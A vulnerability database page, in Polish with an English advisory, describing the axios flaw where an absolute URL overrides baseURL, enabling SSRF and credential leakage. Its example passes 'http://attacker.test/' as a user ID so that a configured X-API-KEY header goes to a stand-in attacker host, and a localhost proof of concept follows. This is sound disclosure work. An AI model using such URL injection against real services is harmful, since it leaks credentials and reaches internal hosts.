Zaloguj się
Deutsch English Español Polski
Wysoka

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

  • Ujawniono: 07.03.2025
  • Aktualizacja: 11.10.2026 10:22

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

js
import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
bash
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
js
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
bash
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm axios >= 1.0.0, < 1.8.2, < 0.30.0 1.8.2, 0.30.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Słabość (CWE)
CWE-918
Platforma
npm
Paczka
axios
Ujawniono
07.03.2025
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-jr5f-v2jv-69x6 - CC BY 4.0

Historia podatności: axios

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (55) w archiwum
Wszystkich wpisów
55
Pierwsza → ostatnia
05.2019 09.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 25
  • Średnia 28
  • Niska 2

Ujawnienia w latach

Istotność:
  1. axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL ten wpis
    Wysoka CVE-2025-27152 >= 1.0.0, < 1.8.2, < 0.30.0 1.8.2, 0.30.0
  2. Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
    Wysoka CVE-2026-101905 >= 1.15.2, < 1.20.0 1.20.0
  3. Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
    Wysoka CVE-2026-101907 >= 1.17.0, < 1.20.0 1.20.0
  4. Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
    Wysoka CVE-2026-101903 >= 1.16.1, < 1.20.0 1.20.0
  5. Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
    Wysoka CVE-2026-101906 >= 1.15.0, < 1.20.0 1.20.0
  6. Axios: Prototype Pollution Gadget in axios toFormData Options
    Wysoka CVE-2026-101909 >= 0.28.0, < 0.34.0, >= 1.15.1, < 1.20.0 0.34.0, 1.20.0
  7. Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls
    Wysoka CVE-2026-101898 >= 1.13.0, < 1.20.0 1.20.0
  8. Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization
    Wysoka CVE-2026-101901 >= 1.13.0, < 1.20.0 1.20.0
  9. Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning
    Wysoka CVE-2026-67320 >= 0.31.1, < 0.33.0, >= 1.15.2, < 1.18.0 0.33.0, 1.18.0
  10. Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
    Wysoka · 7.5 CVE-2026-44496 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  11. Allocation of Resources Without Limits or Throttling in Axios
    Wysoka · 7.5 CVE-2026-44488 >= 1.7.0, < 1.16.0 1.16.0
  12. Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
    Wysoka CVE-2026-44487 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  13. Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
    Wysoka · 7.5 CVE-2026-44486 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  14. axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
    Wysoka · 7.0 CVE-2026-44495 >= 1.0.0, < 1.15.2, >= 0.19.0, < 0.31.1 1.15.2, 0.31.1
  15. axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
    Wysoka · 8.7 CVE-2026-44494 >= 1.0.0, < 1.16.0 1.16.0
  16. axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
    Wysoka · 8.6 CVE-2026-44492 >= 1.15.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  17. Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
    Wysoka · 7.4 CVE-2026-42033 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  18. Axios: Header Injection via Prototype Pollution
    Wysoka · 7.4 CVE-2026-42035 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  19. Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
    Wysoka · 7.2 CVE-2026-42043 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  20. Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
    Wysoka · 7.4 CVE-2026-42264 >= 1.0.0, < 1.15.2 1.15.2
  21. Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig
    Wysoka · 7.5 CVE-2026-25639 >= 1.0.0, < 1.13.5, < 0.30.3 1.13.5, 0.30.3
Pokaż więcej (4) Widać 21 z 25

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Polityka prywatności

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.